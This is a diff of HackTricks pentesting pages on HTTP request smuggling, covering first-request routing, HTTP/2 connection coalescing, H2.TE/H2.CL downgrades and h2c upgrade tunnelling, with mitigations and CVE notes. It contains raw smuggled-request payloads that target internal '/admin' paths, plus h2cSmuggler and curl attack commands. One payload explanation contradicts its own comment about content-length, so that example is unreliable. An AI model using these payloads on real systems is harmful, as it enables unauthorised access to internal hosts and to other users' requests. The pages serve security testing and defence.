					When routing requests, reverse proxies might depend on the **Host** (or **:authority** in HTTP/2) header to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in a number of proxies where the whitelist is **only enforced on the very first request in a connection**. Consequently, attackers can access internal virtual hosts by first sending an allowed request and then re-using the same underlying connection:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```
 | 
					```http
 | 
				
			||||||
GET / HTTP/1.1
 | 
					GET / HTTP/1.1
 | 
				
			||||||
Host: [allowed-external-host]
 | 
					Host: allowed-external-host.example
 | 
				
			||||||
 | 
					
 | 
				
			||||||
GET / HTTP/1.1
 | 
					GET /admin HTTP/1.1
 | 
				
			||||||
Host: [internal-host]
 | 
					Host: internal-only.example
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### First-request Routing
 | 
					### First-request Routing
 | 
				
			||||||
 | 
					
 | 
				
			||||||
In some configurations, a front-end server may use the **Host header of the first request** to determine the back-end routing for that request, and then persistently route all subsequent requests from the same client connection to the same back-end connection. This can be demonstrated as:
 | 
					Many HTTP/1.1 reverse proxies map an outbound connection to a back-end pool **based exclusively on the first request they forward**. All subsequent requests sent through the same front-end socket are silently re-used, regardless of their Host header. This can be combined with classic [Host header attacks](https://portswigger.net/web-security/host-header) such as password-reset poisoning or [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) to obtain SSRF-like access to other virtual hosts:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```
 | 
					```http
 | 
				
			||||||
GET / HTTP/1.1
 | 
					GET / HTTP/1.1
 | 
				
			||||||
Host: example.com
 | 
					Host: public.example
 | 
				
			||||||
 | 
					
 | 
				
			||||||
POST /pwreset HTTP/1.1
 | 
					POST /pwreset HTTP/1.1
 | 
				
			||||||
Host: psres.net
 | 
					Host: private.internal
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
This issue can potentially be combined with [Host header attacks](https://portswigger.net/web-security/host-header), such as password reset poisoning or [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), to exploit other vulnerabilities or gain unauthorized access to additional virtual hosts.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> To identify these vulnerabilities, the 'connection-state probe' feature in HTTP Request Smuggler can be utilized.
 | 
					> In Burp Suite Professional ≥2022.10 you can enable **HTTP Request Smuggler → Connection-state probe** to automatically detect these weaknesses.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## NEW in 2023-2025 – HTTP/2/3 Connection Coalescing Abuse
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Modern browsers routinely **coalesce** HTTP/2 and HTTP/3 requests onto a single TLS connection when the certificate, ALPN protocol and IP address match. If a front-end only authorizes the first request, every subsequent coalesced request inherits that authorisation – **even if the Host/:authority changes**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Exploitation scenario
 | 
				
			||||||
 | 
					1. The attacker controls `evil.com` which resolves to the same CDN edge node as the target `internal.company`.
 | 
				
			||||||
 | 
					2. The victim’s browser already has an open HTTP/2 connection to `evil.com`.
 | 
				
			||||||
 | 
					3. The attacker embeds a hidden `<img src="https://internal.company/…">` in their page.
 | 
				
			||||||
 | 
					4. Because the connection parameters match, the browser re-uses the **existing** TLS connection and multiplexes the request for `internal.company`.
 | 
				
			||||||
 | 
					5. If the CDN/router only validated the first request, the internal host is exposed.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					PoCs for Chrome/Edge/Firefox are available in James Kettle’s talk *“HTTP/2: The Sequel is Always Worse”* (Black Hat USA 2023).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Tooling
 | 
				
			||||||
 | 
					* **Burp Suite 2023.12** introduced an experimental **HTTP/2 Smuggler** insertion point that automatically attempts coalescing and TE/CL techniques.
 | 
				
			||||||
 | 
					* **smuggleFuzz** (https://github.com/microsoft/smugglefuzz) – A Python framework released in 2024 to brute-force front-end/back-end desync vectors over HTTP/2 and HTTP/3, including connection-state permutations.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Mitigations
 | 
				
			||||||
 | 
					* Always **re-validate Host/:authority on every request**, not only on connection creation.
 | 
				
			||||||
 | 
					* Disable or strictly scope **origin coalescing** on CDN/load-balancer layers (e.g. `http2_origin_cn` off in NGINX).
 | 
				
			||||||
 | 
					* Deploy separate certificates or IP addresses for internal and external hostnames so the browser cannot legally coalesce them.
 | 
				
			||||||
 | 
					* Prefer **connection: close** or `proxy_next_upstream` after each request where practical.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Real-World Cases (2022-2025)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					| Year | Component | CVE | Notes |
 | 
				
			||||||
 | 
					|------|-----------|-----|-------|
 | 
				
			||||||
 | 
					| 2022 | AWS Application Load Balancer | – | Host header only validated on first request; fixed by patching rules engine (disclosed by SecurityLabs). |
 | 
				
			||||||
 | 
					| 2023 | Apache Traffic Server < 9.2.2 | CVE-2023-39852 | Allowed request smuggling via HTTP/2 connection reuse when `CONFIG proxy.config.http.parent_proxy_routing_enable` was set. |
 | 
				
			||||||
 | 
					| 2024 | Envoy Proxy < 1.29.0 | CVE-2024-2470 | Improper validation of :authority after first stream enabled cross-tenant request smuggling in shared meshes. |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Detection Cheat-Sheet
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Send two requests in the **same** TCP/TLS connection with different Host or :authority headers.
 | 
				
			||||||
 | 
					2. Observe whether the second response originates from the first host (safe) or the second host (vulnerable).
 | 
				
			||||||
 | 
					3. In Burp: `Repeat → keep-alive → Send → Follow`.
 | 
				
			||||||
 | 
					4. When testing HTTP/2, open a **dedicated** stream (ID 1) for a benign host, then multiplex a second stream (ID 3) to an internal host and look for a reply.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* PortSwigger Research – *HTTP/2: The Sequel is Always Worse* (Black Hat USA 2023)
 | 
				
			||||||
 | 
					* Envoy Security Advisory CVE-2024-2470 – Improper authority validation
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -2,9 +2,100 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
 | 
					HTTP/2 is generally considered immune to classic request-smuggling because the length of each DATA frame is explicit. **That protection disappears as soon as a front-end proxy “downgrades” the request to HTTP/1.x before forwarding it to a back-end**. The moment two different parsers (the HTTP/2 front-end and the HTTP/1 back-end) try to agree on where one request ends and the next begins, all the old desync tricks come back – plus a few new ones.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Why downgrades happen
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Browsers already speak HTTP/2, but much legacy origin infrastructure still only understands HTTP/1.1.
 | 
				
			||||||
 | 
					2. Reverse-proxies (CDNs, WAFs, load-balancers) therefore terminate TLS + HTTP/2 at the edge and **rewrite every request as HTTP/1.1** for the origin.
 | 
				
			||||||
 | 
					3. The translation step has to create *both* `Content-Length` **and/or** `Transfer-Encoding: chunked` headers so that the origin can determine body length.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Whenever the front-end trusts the HTTP/2 frame length **but** the back-end trusts CL or TE, an attacker can force them to disagree.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Two dominant primitive classes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					| Variant | Front-end length | Back-end length | Typical payload |
 | 
				
			||||||
 | 
					|---------|-----------------|-----------------|-----------------|
 | 
				
			||||||
 | 
					| **H2.TE** | HTTP/2 frame | `Transfer-Encoding: chunked` | Embed an extra chunked message body whose final `0\r\n\r\n` is *not* sent, so the back-end waits for the attacker-supplied “next” request. |
 | 
				
			||||||
 | 
					| **H2.CL** | HTTP/2 frame | `Content-Length` | Send a *smaller* CL than the real body, so the back-end reads past the boundary into the following request. |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					> These are identical in spirit to classic TE.CL / CL.TE, just with HTTP/2 replacing one of the parsers.  
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Identifying a downgrade chain
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Use **ALPN** in a TLS handshake (`openssl s_client -alpn h2 -connect host:443`) or **curl**:
 | 
				
			||||||
 | 
					   ```bash
 | 
				
			||||||
 | 
					   curl -v --http2 https://target
 | 
				
			||||||
 | 
					   ```
 | 
				
			||||||
 | 
					   If `* Using HTTP2` appears, the edge speaks H2.
 | 
				
			||||||
 | 
					2. Send a deliberately malformed CL/TE request *over* HTTP/2 (Burp Repeater now has a dropdown to force HTTP/2). If the response is an HTTP/1.1 error such as `400 Bad chunk`, you have proof the edge converted the traffic for a HTTP/1 parser downstream.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Exploitation workflow (H2.TE example)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```http
 | 
				
			||||||
 | 
					:method: POST
 | 
				
			||||||
 | 
					:path: /login
 | 
				
			||||||
 | 
					:scheme: https
 | 
				
			||||||
 | 
					:authority: example.com
 | 
				
			||||||
 | 
					content-length: 13      # ignored by the edge
 | 
				
			||||||
 | 
					transfer-encoding: chunked
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					5;ext=1\r\nHELLO\r\n
 | 
				
			||||||
 | 
					0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					1. The **front-end** reads exactly 13 bytes (`HELLO\r\n0\r\n\r\nGE`), thinks the request is finished and forwards that much to the origin.
 | 
				
			||||||
 | 
					2. The **back-end** trusts the TE header, keeps reading until it sees the *second* `0\r\n\r\n`, thereby consuming the prefix of the attacker’s second request (`GET /admin …`).
 | 
				
			||||||
 | 
					3. The remainder (`GET /admin …`) is treated as a *new* request queued behind the victim’s.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Replace the smuggled request with:
 | 
				
			||||||
 | 
					* `POST /api/logout` to force session fixation
 | 
				
			||||||
 | 
					* `GET /users/1234` to steal a victim-specific resource
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## h2c smuggling (clear-text upgrades)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A 2023 study showed that if a front-end passes the HTTP/1.1 `Upgrade: h2c` header to a back-end that supports clear-text HTTP/2, an attacker can tunnel *raw* HTTP/2 frames through an edge that only validated HTTP/1.1. This bypasses header normalisation, WAF rules and even TLS termination.  
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Key requirements:
 | 
				
			||||||
 | 
					* Edge forwards **both** `Connection: Upgrade` and `Upgrade: h2c` unchanged.
 | 
				
			||||||
 | 
					* Origin increments to HTTP/2 and keeps the connection-reuse semantics that enable request queueing.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Mitigation is simple – strip or hard-code the `Upgrade` header at the edge except for WebSockets.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Notable real-world CVEs (2022-2025)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **CVE-2023-25690** – Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling. (fixed in 2.4.56)  
 | 
				
			||||||
 | 
					* **CVE-2023-25950** – HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests.  
 | 
				
			||||||
 | 
					* **CVE-2022-41721** – Go `MaxBytesHandler` caused left-over body bytes to be parsed as **HTTP/2** frames, enabling cross-protocol smuggling.  
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Tooling
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Burp Request Smuggler** – since v1.26 it automatically tests H2.TE/H2.CL and hidden ALPN support. Enable “HTTP/2 probing” in the extension options.
 | 
				
			||||||
 | 
					* **h2cSmuggler** – Python PoC by Bishop Fox to automate the clear-text upgrade attack:
 | 
				
			||||||
 | 
					  ```bash
 | 
				
			||||||
 | 
					  python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
 | 
				
			||||||
 | 
					  ```
 | 
				
			||||||
 | 
					* **curl**/`hyper` – crafting manual payloads: `curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## Defensive measures
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. **End-to-end HTTP/2** – eliminate the downgrade translation completely.
 | 
				
			||||||
 | 
					2. **Single source of length truth** – when downgrading, *always* generate a valid `Content-Length` **and** **strip** any user-supplied `Content-Length`/`Transfer-Encoding` headers.
 | 
				
			||||||
 | 
					3. **Normalize before route** – apply header-sanitisation *before* routing/rewrite logic.
 | 
				
			||||||
 | 
					4. **Connection isolation** – do not reuse back-end TCP connections across users; “one request per connection” defeats queue-based exploits.
 | 
				
			||||||
 | 
					5. **Strip `Upgrade` unless WebSocket** – prevents h2c tunnelling.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* PortSwigger Research – “HTTP/2: The Sequel is Always Worse” <https://portswigger.net/research/http2>
 | 
				
			||||||
 | 
					* Bishop Fox – “h2c Smuggling: request smuggling via HTTP/2 clear-text” <https://bishopfox.com/blog/h2c-smuggling-request>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -94,6 +94,6 @@ Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## References
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
 | 
					* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
 | 
				
			||||||
* Trend Micro LoRaPWN overview – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
 | 
					* Trend Micro LoRaPWN overview – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user